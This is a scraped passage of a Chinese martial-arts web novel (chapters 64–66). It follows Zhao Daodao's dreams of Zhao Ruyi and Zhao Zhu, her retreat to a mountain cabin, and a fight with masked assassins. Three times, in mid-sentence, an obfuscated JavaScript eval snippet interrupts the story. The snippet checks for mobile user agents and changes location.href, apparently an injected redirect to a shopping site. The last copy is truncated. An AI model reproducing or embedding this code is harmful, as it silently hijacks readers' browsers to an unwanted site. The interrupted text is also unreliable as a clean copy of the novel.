她怀着忧虑着睡去。 时隔多日,以为自己再不会做梦时,梦反而又来了。 赵刀刀听到有人说话。 “我们会葬在山海,这也没什么不好。” 那是赵如意的声音。 “赵逐,不要难过。” “你还记得你救过我吗。” 赵如意怎么一直说个不停。 她想让赵如意停下,却无法拦住他们。 赵刀刀又看到了有人从悬崖落下。 一开始像一只鸟,在空中张开了双臂,但他们只会轻功,并不会飞,最后还是重重地砸了下去。 赵刀刀第一次听到了赵如意的心声。 她见过赵逐站在擂台上风光无限,肆意大笑的模样。那笑容太耀眼,她只能远远看着。 为什么越靠近越短暂? “我欠你一命,还清了。” 耳边风声越来越大。 一切都在倒转。 赵刀刀喊不出声,木然地看着一切归于寂静。 她的梦境到此为止了,她已走到尽头。 赵刀刀终于知道了那股心慌从何而来。 原来是赵如意在怕。 64. 风月 赵刀刀出神地盯着空中,久久不能平静。 她还活着,从高处坠落的心慌那么真,是属于另一个人的绝望。 然而最令赵刀刀感到悲哀的不是赵如意的死,而是她只存在于她的梦中。 这里所有人都知道赵逐,赵如意的名字却被无声地抹去,没人知道她做了什么,也没人在乎她为何而死。 似乎从赵如意被赵逐救下开始,她一生都在追逐那个身影,可没有人能料到,她追上的时刻迎来的不是成功,而是灭亡。 过了好一会儿,赵刀刀才眨了眨眼,清醒过来。 外面的阳光照亮了山洞,她转头的动作一滞,忽然发现上方石壁上纵横交错的不是山石纹路,而是人为刻上什么东西后又被划去的痕迹。 赵刀刀眯了眯眼,仔细去瞧,她转着方向认了半天,才辨别出划痕下的是几行字。 这些字都以数字开头,写着—— 一,欠药 二,欠酒 三,欠饭 四,心肠太软 五,不想寻剑 六,碧落啊碧落 七,此去恐不能再见 前五句字体歪歪扭扭,不像是利器所致,到第六句碧落笔势一转,凌厉肆意,最后一句“七”字下面的“八”只有一撇,再没其它。 文字之后落上去的是两道锋利的划痕,斜斜地盖在字上,就像是写字不要时的划线,让人难以辨认原先所写。若不是赵刀刀知道发生了何事,很多字都无法猜准。 梦里冒出的一身冷汗已经消失,赵刀刀撑着起身,活动了下僵硬的骨头,走到洞口附近,她在空中用手描绘石壁上的剑气,再走回去抬头比对,头顶的划痕和进来时看到的剑气果然都是同一人手笔。 “小刀。” 半晌无人应答,赵刀刀垂下眼眸。 甫一出声,她才发现自己喉咙沙哑干燥,便从包袱取了水来。 两口清水下肚,才觉得先前头脑中的混乱被压下,清爽许多。 赵刀刀看着周围的剑痕,梦里赵如意与赵逐共同习武的场景仿佛映于石壁,出现在她的眼前,看得久了,耳畔似乎会响起他们的铿锵的呼喝和剑气带起的风声。 真够栩栩如生的。 昨夜赵刀刀第一次清楚地看见他们的模样了。 她看到赵如意在白玉山生活的十几年,看到她焦急地四处打听赵逐的消息,也看到她到最后都没说出去的那句话。 他们一起练刀,一起亡命天涯,这面墙上的痕迹是他们第二次回来时所留。 不难想,山顶上的那些应当是赵逐第一次被救到此处所写,因为赵如意没有注意到,所以她的梦中没有此景。 赵刀刀又去看那七行字,前三句是赵逐觉得自己有所亏欠,第四句呢,是在说谁心肠太软? 如果赵逐是在说赵如意……赵刀刀叹了口气,按梦中所示,她觉得“心肠太软”这四字写得没错。 其实赵逐对赵如意知之甚少,一开始赵如意是个流落街头的乞儿,再次出现时却成了剑法高超的峦岳派弟子,在任何人眼里,估计都会觉得赵如意这些年过得不错。 没人知道赵如意有多孤独,她没有朋友也没有亲人,从一个普通人熬成剑客,苦痛都是自己吞下,或许正是冥冥中觉得自己会离开峦岳派,不想留下挂念,才鲜少说话,沉默寡言。 没人知道赵如意有多念旧,赵逐的相救之恩她一记就是一辈子,甚至此后的无数日夜都在追逐那个童年的影子,直到一生耗尽。 早在赵如意第一次救下赵逐时,这份恩情就该还清了。 赵刀刀皱着眉头往下看。 第五句“不想寻剑”应该是赵逐自己所想了。 赵刀刀心中一动,不想寻剑……赵如意当时不想赵逐走得太快,心底并不乐意太早开始寻剑,没想到赵逐也这样想。 后两句应该是寻剑之后所写,赵逐早知道自己回去是九死一生,一开始没想让赵如意跟去。 但赵如意最后还是跟他一起走了。赵刀刀心里有些堵,手却有些痒,她此时竟也想给赵逐批一道“心肠太软”。 山洞中只有这七行完整的字记载了当时,没有其他刻字。赵刀刀看到眼眶发酸,走到洞口,深深呼出一口浊气。 看着太阳东升,给树林镀上一层美妙的金色光晕,她心情才好了些。 她从包袱里摸出一个昨天摘下的果子,盘坐在洞口,慢慢擦干净,就着晨光咬了一口。 顺口道:“小刀,醒了吗?” 如果赵小刀能听见,这已经是赵刀刀第七遍喊他。 四周只有鸟叫虫鸣,看来赵小刀还没有醒。 赵刀刀叹了口气,慢慢吃完果子,闭上眼想去感受下被日光笼罩的温暖。 一阵风吹过,她有些挫败地睁开眼。 这山洞冬暖夏凉,一点也不温暖,风一吹,藤蔓更是挡掉了大半阳光,也难怪它们生长的这么茂盛蓬勃。 赵刀刀挪到边上,用脚勾开藤条。 她做这些时很得意也很认真,像是要弥补之前的不顺,从包袱里又拿出一个果子,抛起又接住,仰头去沐浴晨光,终于暖和一些。 赵刀刀把腿垂在边上晃荡。 这样的晨光…… “小刀。” 赵刀刀望向远方。 赵逐也是在这样的早上醒来,期待着某个人的到来吗? 她又想叹气了。 赵刀刀宁愿自己没有看清梦中的脸。可既然已经看清,就无法再欺骗自己。 这一次她看到他们的模样,其实也没什么特别,就是发现赵如意长得和她可真像。不过认真算起来,应该是她像赵如意才对。 “刀刀?” “嗯?你醒啦。”赵刀刀低头去看身边的黑刀。 赵小刀问,“为什么叹气?” “不知道啊。”赵刀刀两口吃完剩下的果子,抛出果核,擦了擦嘴,“我不知道啊……小刀,你……” “嗯?” 赵刀刀的声音忽然有些冷,“你呢……赵小刀,你还是我的刀吗?” 赵小刀一愣,轻笑道:“当然,怎么这么问?” “因为我总觉得,我好像要当不成赵刀刀了。小刀啊,你说……我不会是赵如意吧?难道我没有在尚青山学过武,师父师兄都是假的,那些才是梦?可我觉得我不是她,不可能啊……”赵刀刀的话语有些混乱,说到后面,她也不知道自己在说些什么,只是一直说个不停。 赵小刀等她说完,问,“你这么快就忘了那件衣服了?” “说的也是,那衣服我还送给唐雪了呢。”赵刀刀大幅度地点着头,“所以我的过去还是我的过去,不是梦。” 赵小刀肯定道,“嗯,你也只是赵刀刀,不是什么别的人。” 赵刀刀垂下眼眸,“那你呢?” 她的声音越来越冷,“你在刀里,可我从没见过你,一开始我的刀从不嗜睡,他说话虽然不客气,却能闻得到气味,还总在关键时候出声助我,你呢?你一次次地错过,避开我的呼唤,我甚至不知道你口中的嗜睡到底是真是假——你究竟是赵逐,还是黑刀?” 赵小刀没想到她会这么问,简直气得他想笑,反问道:“赵刀刀,你觉得呢?你希望我是谁?” “赵……”赵刀刀抓了一颗石子奋力抛向远处,咬着牙道:“我怎么知道?你什么都不告诉我,我的刀什么都会和我说,你什么都不告诉我!那些场景你是不是早就梦到过?你早知道梦里自己会不像自己,你知道他们会死,知道梦里的死也很痛,你知道我的命紧跟在她死之后……你什么都不跟我说,我怎么知道你是谁呢?!” 那些早有的隔阂终于尽数吐出,她却并不痛快。 赵刀刀的声音渐渐低落下去,她弓着背,手紧紧攥住衣襟,想要克制住自己的情绪。 但眼眶早已经发红,嘴唇还在微微颤抖。 她吸了吸鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13544206|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,轻声喃喃道,“我……我当然……”声音已低不可闻,“我当然希望你只是我的刀了。” “刀刀。”赵小刀想要安慰她,可他既没有手能够拥抱她,也没有胸膛能让她依靠片刻。他看不见她伤心的样子,只能跟她一起心痛。 赵小刀不知道事情怎么就变成了如今这样,他知道赵刀刀喜欢这把黑刀,他自然也愿意这样陪着她,可那点希望就在眼前,他也多想看看她的样子,摸摸她的脸颊,感受她的温度,和她依偎在一起,真正地陪着她去走剩下的路。 赵小刀本不打算这么早告诉她的,他会让这事变成能让她开心的事,那时再说才是他的打算,明明已经近在咫尺……可现在却不得不说。 这会儿说,绝不是喜事。 赵小刀沉声道,“我不是赵逐,也不是黑刀,我只是赵小刀。是你在剑冢里听见的那个声音,是陪你练刀的那个声音,是你给了名字的那个赵小刀。” 赵刀刀从他刻意加重的否定中隐隐听出了他的意思。 她仔细回忆,忽觉赵小刀好像一直在暗示,但直到今天才终于打算真正告诉她这件事。 她声音轻颤,“你不是刀了。” 赵小刀还没想好怎么说。 赵刀刀已经彻底冷下声音,她的问句没有丝毫起伏,也不是为了得到回答,“对吗?” 她没去管赵小刀又说了什么,坐了会儿便起身,背上黑刀,收拾好离开山洞。 这一路赵刀刀没有再和赵小刀说过一句话。 她把藤条拨回,抹去足迹,从来路回去。顶着一身泥和凌乱的发型在小二惊讶的视线里上楼,要了水,换了衣服,寄了信,离开佩城。 赵刀刀知道她的身后跟着尾巴,到半路,她下车吃饭,看着马车远去,不动声色地起身,在人群和佩城的大街小巷之间穿梭,攀在屋檐上等那几个黑衣人走远,才向反方向奔去,骑着马从佩城南边的小门离开。 一路策马狂奔,赵刀刀鲜少停下脚步,跑废了几匹马,终于快到她想到的地方。 天气越来越冷,已能看到积着雪的山巅。 唐雪留下的单衣不够用了,赵刀刀不得不添置棉衣,把自己从头到脚裹起来,才感到暖和一些。 风月本是风花雪月,但风月城却只有风雪,无关风月。 此时还未下雪,但风从远处带来了雪,混着花,令人分不清四季。 赵刀刀闷头上山,在山中她分不清方向,只是不想停下。 绕了一圈又一圈,抬头还是同一棵做过记号的枯树。 她伫立良久。 赵小刀出声问:“刀刀,你看见那棵树了吗?周围有竹子?” 赵刀刀没有说话。 “往前走三步,遇到石头再转。” “哦。” 赵刀刀不想浪费时间,没有拒绝赵小刀的话。 就这样走走停停,遇石而转,竟渐渐走进林中。 她沉默地看着眼前的小院。 居然是真的。 门上的锁半挂着,贴着年画卷了边,赵刀刀不知怎么突然脱口而出一句,“吉祥如意。” 她哑了嗓子,声音戛然而止。 赵刀刀推门而入,屋子坐北朝南,周围的柴堆已经腐朽,除了肆意生长的杂草,一切都落着一层灰。 她拉开屋门,一股潮气从屋里窜出来,激得她打了两个喷嚏。 “刀刀?” 赵刀刀把刀解下放在一旁,开了窗,刚揭开床铺,又忍不住打了两个喷嚏。 “刀刀。” 赵小刀不厌其烦地轻声喊她。“不要生病了。" 赵刀刀沉默片刻,不想他再说下去,道,“……没事。” 赵刀刀手下不停。 这里像个寻常人家,甚至比山洞还不如,更简陋破败,半点看不出曾经住过天下第一,藏过绝世刀谱的影子。 好在她也没当它有多特别,毫不犹豫地占下这里。 65. 情切 赵刀刀沉默着开始了新的生活。 她修缮门窗,更换家具,铲除杂草,随着烟火的气息再次暖热荒凉的房屋,她也一点点熟悉了这个陌生的地方。 时间一晃而过。 深山里人迹罕至,赵刀刀除了一开始下山采买东西,从不开口说话,到后来,她已经习惯闭着嘴度过一天。 当她恍然意识到自己已经很久没说话时,才发现自己似乎活得和梦里那个姑娘没什么两样。 风月城太冷了。秋天好像混着冬天一起到来,她在山上已经分不清年月,只觉得自己好像已经在这地方生活了很久。 “刀刀,今天你还是不愿同我说话吗?”赵小刀问。 赵刀刀没有回答,如往常一样出门练刀。 练完刀,她回到屋中把洗了的衣裳被褥挂在外头,再背着弓箭和黑刀上山,去找那只嚎叫追赶过她的野猪。 赵刀刀已经盯上那只野猪有几天了,她认得它身上的毛色,隐蔽气息寻到了方位,拉弓射出两箭。 箭嗖的一声飞出,猎物发出尖锐的嘶叫,发狂了一般跑走。 赵刀刀跟上去,没想到这猪身中两箭还速度不减,跑了小半座山才有停下之意,甚至还转过身朝她冲来。 它像是发了狂,赵刀刀生平第一次用拨云弄月这招刀法去杀一只野猪,没想到还斗得有来有回。 最后不负七绝刀法的盛名,她绑了野猪慢慢驮到木屋。 赵刀刀熟练地放血剃毛,两三刀便将这畜牲片儿成六顿的分量,挑出一块将剩下的放好。 水咕嘟咕嘟滚开的时候,她正晃着烧火棍百无聊赖地瘫坐在毛皮上。 这里的雪很白,天很蓝,人的心情也跟着洁白晴朗起来。 赵小刀等了很久,准备开口时,终于听到她说:“小刀,跟我讲讲吧。” 她愿意听了。 太久没说话,赵刀刀的嗓音带着些奇怪的别扭,赵小刀却觉得那是天籁。 赵小刀没有犹豫,开始慢慢地讲。 讲赵逐和赵如意的再次相遇,讲赵逐被围攻后为赵如意所救。 “赵逐当时已经中毒,他本来决心和赵如意分开,但是不忍心,便邀她一同上路。他们一起到了风月城,赵逐来找他师父,赵如意没有跟上来,在城中等候……在赵逐的印象里,他将刀谱藏在了这里。他知道不动仙人住处机关重重,已被众人搜过几番,刀谱放在最危险的地方就是最安全的地方……取回刀谱之后,他本想立时毁了,但这毕竟是他师父守了一生的宝物,他下不去手,更何况他练的虽然不是刀,却也为其中绝妙刀法惊叹不已,毁了实在可惜。恰好赵如意又想学刀……” 赵刀刀皱眉,“他把刀谱给赵如意了?” “没有,他知道这刀谱在世一日就麻烦一日,他不敢给赵如意,只给赵如意看过一遍,后来就把刀谱毁了。” “毁了也还是被人追杀。”赵刀刀平淡道。 赵小刀冷笑两声,“是,世上除了他那些朋友和赵如意,还有几人信他,世人当然觉得绝世武功,怎能说毁就毁?肯定是赵逐自己藏起来了。众口铄金,赵逐只能带着赵如意躲起来。” “……” “这并不难过,赵逐身重剧毒,早就知道自己没有几天好活,他死了也无所谓,只是放不下赵如意。世人不容他,可赵如意何罪之有,怎么能跟着他一起苟且,所以赵逐决定离开风月城,引开注意,让赵如意找到机会回峦岳派去,避开风头。” 赵刀刀忽然意识到,赵逐将自己的死也算进风头里了,他不想让赵如意知道这些。 赵小刀接着道:“事情本该就这样结束的……但赵逐思念如狂,又想去看她。后来他又在峦岳派后山山洞里见到了赵如意。” 赵刀刀道,“……赵如意看到他短短几日便骨瘦如柴,自然也知道事有蹊跷,她知道赵逐有苦难言,否则不会做出这样的事,赵逐不是这样当断不断的人。” “嗯,你梦到了。”赵小刀道:“赵逐不能动气,但他已无所顾忌,索性不管不顾,就陪着赵如意在山洞里练功。但峦岳派终究不是归处,他们离开了白玉山,回到这里。” 赵小刀解释道,“这是其实是赵逐自己的屋子,世上除了他没人知道这里。可哪怕甩掉了追杀的,他还是支撑不了太久,后面的事你应该知道了,赵如意对他说:‘我知道你从不骗人,你不想说我就不问,若是你不能活,那我就陪你一起死。’然后他们就从这里的后山跳了下去。” “他们是从这里跳下去的?”赵刀刀还以为是峦岳派的山崖。 “嗯,刀刀,后山离屋子很远,你去打猎的地方也没到真正的后山。那山崖很高,常年积雪不化,他们是一起跳的崖,然而……”赵小刀叹了一口长长的气。 “然而?” “赵逐没有死成。” 赵逐醒来的时候,只觉得眼前一片苍白,恍惚不已。 这就是……死的感觉吗? 直到左肩的剧痛和身上那股熟悉的隐痛传来。 赵逐才终于抽着气,不敢置信的起身。 “不!不——!如意!如意!!”他哀声哭号,明明中了毒的是他,惹下麻烦的也是他,怎么老天偏偏让他活了下来?“该死的是我!该死的是我啊!” 赵逐拖着残破之躯走到赵如意的身边,看着那张熟悉的脸,一时不敢相信现实。 湍急冰冷的水流从二人身边流过,赵逐跪在赵如意身侧,右手颤抖着轻抚上她紧闭的眼睛,拂过她苍白的面庞,他的哭声渐渐微弱,赵逐将头轻轻抵住她的额头。 眼泪顺着赵如意的脸颊滑落,仿佛是她在哭一般。 他心知她的心意,迟迟不敢约定只因自己时日无多,可事到临头,以为一切终于要结束之时,谁料事情竟还能再落到这步田地?赵逐抱着赵如意的尸体,只觉得天下大哀莫过于此,他的心仿佛被剜掉一块,风沙和呼啸的寒风不断灌进来。那颗心就像一个破了的口袋,被吹的鼓鼓囊囊,可支撑其下的早已不是血肉,唯有悔恨。即使那些中毒的日夜也不曾令他绝望至此,这样活着岂不是比死了更痛苦? 傍晚的风冷彻心扉。 赵逐接上脱臼的左肩,抱着赵如意上岸,生了火烤干水汽。 他沿着河去下游寻找,没找到碧落剑,想到自己如今也动用不了半分内力,只叹了口气,转身回去。 赵如意脸上的伤口被水泡到发白,被火烤着,却又隐约要翻出肉来。赵逐不忍,灭了火。 “如意……”赵逐只觉得嘴中苦涩。 “若有来世,不要再遇见我了。” 夜里。 残月高挂。 月光苍凉地照在大地上的时候,赵逐忽然想起了一个地方。 听说那里的医者医死人治白骨,如果去了那里,赵如意一定能被救回来。到时就算要用他这条命去换赵如意,又有什么不可? 横竖都是死。中毒后他本也想过要不要就此去那个地方,永远不再出来,可如此苟且偷生,了了余生,却实在非他所愿。 但此刻赵逐已别无选择,他下定决心,自己死了便死了,只要赵如意能活,做什么他都愿意。 还有十日。 赵逐背上赵如意,即刻开始赶路。 “赵逐……去了哪?”赵刀刀问。 支离破碎的记忆终于在此刻拼出那个完整的故事。 赵刀刀的记忆到赵如意殒命而止,她没想到赵逐居然活了下来。命运如此捉弄他们,这样活着,岂不是生不如死?赵逐一定痛苦极了。 “我不知道,他进去之后发生的事,我只能模糊地看到,只知道那是一座鬼城。”赵小刀回忆道。 “鬼城?” “嗯,没人知道去那地方的路怎么走,那里没有入口,听说只有置自己于生死边缘之时,才能看到那地方。” “赵逐也不知道?” “他似乎知道大致的方位。赵逐背着赵如意一直走,到第六天他昏死过去,再醒来就到了那地方。” “那他……救活……” “没有。”赵小刀低声笑了几声,悲哀道,“非但没有救活赵如意,他自己也疯了。” “怎么会?” “我不知道原因,但他确实疯了。”赵小刀忽然问,“刀刀,你想见他么?” “赵逐?” “嗯。” 赵刀刀认真思考道,“我……不想见他。” 一开始赵刀刀的确有想见赵逐的愿望,可梦境清晰之后,她反而鲜少再想到这事。她只是想见……印象中的某个人,曾今的那把刀。 “为什么,你不担心自己是赵如意了吗?” 赵刀刀将猪肉下锅,“我那时候只是想,我日复一日地梦到赵如意,她又那么像我,我是不是……可如果我是赵如意,那赵刀刀又是谁呢?赵如意喜欢赵逐,可我不喜欢,她一开始学了剑,我一开始就在尚青山学刀,她有一柄长剑,可我只有一把黑刀。” 赵小刀沉吟片刻,“这样也好。” “好什么?” “你想见也是见不着赵逐的。” “啊?他……” “他疯了,后来也没活多久。”赵小刀道,“或许能死在赵如意身畔,对他来说也已足够。” “可……赵逐怎么会疯?” “不知道,或许他看到了什么,或许他知道自己救不回赵如意悲伤过度,或许他左手废了之后彻底绝望……” “断臂?” “嗯,赵逐的左臂本来可以治好,但是他那时候没有心思想着自己,他抱赵如意上岸,又一直拖着不去管,就废了。” “……” “那时候或许他也并不在乎了吧。”赵小刀感慨道。 “小刀。” “嗯?” “你好像……全然不关心他的死活?” “我为什么要关心他,赵逐和你我的联系不过是一本刀谱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552654|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “可……” “我一开始确实也以为自己是他。”赵小刀缓缓道,“我甚至以为赵如意是你。” “我……” “但并非如此,刀刀,你和赵如意从来都是两个完全不同的人,我和赵竹念也一样,我们不会和他们一样,我们还会在一起很久,一起走很长的路,如果非说有什么联系,可能就是我们能梦到他们的过去,又或者是我记得那些赵逐见过的剑法武功,但也仅此而已了。” “赵如意跳崖前说,下辈子……她想和赵逐一直在一起。” 赵刀刀记起来了。 赵如意临死之前,对赵逐道,“下辈子,赵逐,我们下辈子天天在一起,好不好?”她明明想说什么决绝的狠话,却半句也说不出,只是眼里含着泪花,仿佛把真心捧出,问,“赵逐,好不好?” 最后那些日子赵如意几乎是陪着赵逐一起消瘦憔悴下去的,她还没好好地喜欢过一个人,怎么就要到下辈子了呢? 可她的爱来的这样突然,没时间生长就要死在萌芽之中。 赵刀刀虽不信命,但冥冥中她和赵如意他们似乎还真有些说不清缘分,如果她和赵小刀真是他们的转世……那也没什么不好。 赵小刀道,“我不知道这算转世,还是轮回?但都没关系,我们不是他们。赵如意直到死,才告诉赵逐自己的心意,而赵逐因为自己命在旦夕,也一直不肯吐露心迹,这岂非是他们自己也也从一开始就做错了选择?” “也没做错什么吧……” “嗯。刀刀,我想变成人,不是为了赵逐,也不是为了梦里的赵如意……”赵小刀的语气越发轻缓,似乎怕自己吓跑了赵刀刀,“我想陪着你,天天陪着你。” 赵刀刀鲜少听到他这样没有底气地说出一句话。 赵小刀道,“我一直没敢告诉你,我会变成人。” “为什么现在……” 赵小刀笑了笑,“因为你愿意听我说了,不会跑了。” 赵刀刀没有回答,她将锅里的肉盛出,再拿出另一个瓷碗舀一碗浓汤。 吹了一下,碗里飘出的白气摇晃一下,又接着慢悠悠地冒出来。 她慢条斯理地解决了食物,忽然生出一个强烈的念头。 “小刀,我也在这里盖一座房子吧。” 赵小刀一愣,“为……” “等你变成人,你就可以住在这里。”赵刀刀捧着碗,她的脸被熏的微红,缓缓道,“如果从前黑刀是你的家,那等你变成人,这里就是你的家。” 赵小刀沉默片刻,郑重应道,“好。” 等吃完了饭,收拾好碗筷锅盆,赵刀刀决定趁着天没黑上山去挑些木头。 她问,“你什么时候能变成人呢?” “……我不知道。”赵小刀道,“但是如果有一天刀再也不说话了,你不要担心,我会来找你。” “嗯。”赵刀刀又有些好奇,”那你……你长什么模样?你会变成怎么样一个人?胖还是瘦,高还是矮,好看吗?” “嗯……”赵小刀玩笑道,“没你好看。” “高呢?” “或许也没你高。” 赵刀刀开心道,“那你只有小小一点,我可以把你捧在手里了。” 赵小刀犹豫片刻,装作为难道,“也不能那么矮小。” 赵刀刀笑了笑,“没关系,你什么样子我都不嫌弃你。” “这么好?” “嘿嘿。”赵刀刀道,“你是赵小刀啊,你什么样子我都不嫌弃。” 赵小刀的声音忽然沉缓下去,这个问题已在他心间徘徊十几年,“你呢,小刀,你长什么模样?” 他从没问起过这事,日子长了,赵刀刀也快忘了他看不见自己,此时听来,不由得心中一揪,怪自己如今才发觉赵小刀受过这般苦楚。 赵刀刀皱皱鼻子,“不告诉你,等你找着我吧……你得找着我自己来看。” 赵小刀笑道,“你不告诉我,我怎么找你呢?” “好吧,那告诉你一点点,我会一直别着一根黑簪,只束一股头发,嗯……还有就像赵如意一样,你记得她的脸吗?” “不记得。” “嘿嘿,你肯定记得。”赵刀刀道,“我也有双红色的眼睛,不过我和她长的不像……一点儿也不像。” “好,我记下了。” 赵刀刀叹了口气,她此时有些希望尽快看看赵小刀的模样,可这日期又充满了未定。为何总有些事仿佛近在咫尺,却又扑朔迷离? 赵小刀似乎也想到此处,“不说这事了。” “嗯。” “刀刀,等我找到你,我想永远陪着你。” 赵刀刀有些不好意思,她摸了摸鼻子,想说,你不是一直陪着我嘛。 此时一阵冷风吹过,半山腰的风势太大,吹的人睁不开眼。 赵刀刀眯着眼。 最后还是轻声道,“好啊。” 66. 风波 风月城寒冷而寂静,街上行人来去匆匆,眼睛被隐藏在各式各样的帽子下。 赵刀刀就这样在山上住下,只偶尔猎物打多了或采买东西才会下山。 还未到冬天,风月城的风冷而不刺,但街上的人已经早早穿上了高领衣服,低着头将下巴藏进衣领,躲避寒风。 赵刀刀也渐渐变得同他们一样。 赵小刀听见她的呼吸声蒙蒙地传来,问,“不是说不怕冷?” 赵刀刀背后的紧了紧猎物,“你不懂,这样舒服。” 她已经完全接受了黑刀可能变成人这件事,甚至比赵小刀还要期待,“小刀,你快些变成人就明白了。” 赵小刀笑了笑。 赵刀刀轻车熟路地走到市场,放下猎物,等着结账的间隙,转身观察来来往往的路人。 放在之前,她绝不会想到自己又住回了山上,但此时此刻她的心境已经全然不同,曾经的梦魇烟消云散,山上山下都没什么分别。 赵刀刀眯着眼睛缩了缩脖子,呼出一口白气。 梦中的一切已经清晰明了,赵小刀的一切也清晰明了,风月城容易隐蔽,赵逐的小屋有山林相护,她打算先留在这里,等赵小刀定下来再做下一步打算。 回到家。 赵刀刀解下外套,穿着轻薄一身出门练刀。 落叶在飘空中扬起,缓缓落下,一道黑色的锋利影子划过。 赵刀刀的目光专注至极,在这一瞬间,她看见了每片叶子,黑刀随心所动,刀锋像微风一样拂过每一片树叶。 树叶的下落仿佛静止了,黑刀已经收起在身后。 赵刀刀站在中央,叶子在周围落了一地。 毫无例外,每片都从中间被分成两半。 “随心所至,不受拘束,准字之上就是奇招,第三式已经快练成了。”赵小刀道。 赵刀刀看着落叶,半晌忽然自问自答道,“我这一刀能打赢方英吗?至多平手吧。” “不要着急。”赵小刀道,“慢慢来。” 赵刀刀沉默片刻,忽然问,“和赵逐相比呢?” 赵小刀回忆着道,“都用刀,你的刀法比他厉害,但比起他用剑最厉害的时候,还差得远。” 赵刀刀点点头,“我会胜过他。” 唯有胜过他,她才有找到真相的机会。 赵刀刀转动手腕,耍了个刀花。和赵逐在明追杀他的人在暗不同,如今她在暗处,世上还没多少人知道七绝刀法,正是找到真相的良机。 赵刀刀做这些不是为了还谁一个清白,只是忽然意识到她必须在认识刀法的人发现她前先找到他们,不然麻烦会变得无穷无尽。 她的语气平静到好似在说天气如何,赵小刀闻言一愣,笑着称是。 赵刀刀还是日日练刀,但不会将自己逼到极致,太累的时候,简单过几招便歇下。 “我喜欢这里。”她说。 她喜欢穿得温暖厚实,和街上的人一样遮住面孔,她喜欢住在无人打扰的山上,仿佛世上只有她和小刀。 赵刀刀在墙上挂了张纸记着日子,转眼已到唐雪的信快寄到的日子。 这天她带上整理好的草药和两块木头,背着黑刀下山取信。 之前修缮小屋,她堆积了很多木料,上次在山下正巧遇到一家店,店里都是些木碗木雕的小玩意,店主是位须发皆白的老木匠,赵刀刀和他聊了几句,那老者说自己的小店多日无人光顾,便送了她一双筷子。 赵刀刀与他交谈甚欢,得知他发妻去世已有三年,又听他说风月城的山上有许多名贵木材,只是山路曲折,他腿脚不便,很难去找,便说自己下山时帮他带些。 她一边思索着怎么说服老店家不用报酬,一边走到了店前。 店门在微晃。 赵刀刀皱了皱眉,将手轻轻搭在刀柄上。 “刀刀?” “有血腥味。”赵刀刀压低声音道。 “小心。” 赵刀刀勾脚轻轻一踹,木门缓缓打开。 “店里没人。” 她掀开布帘,走到后院。 正要去主屋—— 嗖嗖嗖三声破空声传来。 赵刀刀侧身躲过。 暗器一角瞬间嵌进她身侧的柱子里。 赵刀刀抬头,几个头戴黑巾身着黑衣的蒙面人站在屋顶上,和之前追杀她的不是同一帮人。 “土匪?” 她忽然朝主屋看去,房门半开着,屋里的暗影中有一片血泊,血泊中倒着一个人。已不用再找老木匠了。 有人搭箭射来! 暗器如雨应声而来,赵刀刀提步向屋顶奔走,碰撞声不绝,是黑刀与暗器相接,长箭被劈成两段。 蒙面人以为暗器如此之多,他们又在屋顶占据先机,正暗自得意,却只间黑色刀影晃晃之间赵刀刀已没了身影。 黑刀悄无声息搭在一人脖颈。没有冰雪比刀锋更寒,无形的气笼罩在刀锋之上,未曾触碰已能伤人。 “你在找我?”赵刀刀缓缓问道。 蒙面人咽了口唾沫。 周围同伙一惊,迅速将兵器对准赵刀刀。 赵刀刀的目光扫过这伙人,问,“谁派你们来的?” 蒙面人没人说话。 黑刀刀刃已经入肉。 赵刀刀的手很稳,蒙面人抖如筛糠,却一直没有人出声。 赵刀刀轻声感慨,“看来你的命不值钱。” 黑刀好像没有动,但一人已经从屋顶上滚落,摔了下去。 这一刻一切都已停滞,只有鲜血顺着刀尖缓缓滑落,落在瓦片上的声音也清晰可闻。将刀放下,赵刀刀看着剩下六人,“你们呢?” 六人摇头,举着刀剑慢慢后退,似是从没预想到此种场景,一时无法应对。 半晌,一人站出来,粗声道,“我们从唐家堡来,姑娘应该认识这个吧,这是唐大小姐的信件。” 赵刀刀看了他手中信件一眼,确有唐家堡印记,她提刀而立,怒极反笑,轻声道:“我给你们三次说实话的机会。” 见事无转机,黑衣人相视一眼,喝到:“杀了她!”六人齐攻而来。 “一——” 黑刀快如闪电,一把剑摔落屋顶。 “二——” 赵刀刀身法快而诡,和她的刀势一样捉摸不定。一人瞪大了眼睛,只见空中忽然飘过一条黑色的线,“你——!”话音刚落,两把刀从高处砸在地上。 剩下三人见势不对,其中一人喊道:“撤!” “三——” 赵刀刀突然急速向后跃去,挥刀抵挡从地上飞窜而来的攻击,原来是四只飞筷! 她一时犹疑,向来势望去,屋檐之下空空如也,转头再看,三个黑衣人已经远走,只留一封信被筷子钉在屋顶。 这是第五根筷子。 赵刀刀眉头紧皱。 走近了她才认出他们给的根本不是唐雪那封信。 她手腕一翻,刀尖如手一般轻巧灵活地挑开了筷子。赵刀刀静立着看了看,拿起信封。 信上写着:“十月十五午时,请到迎雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 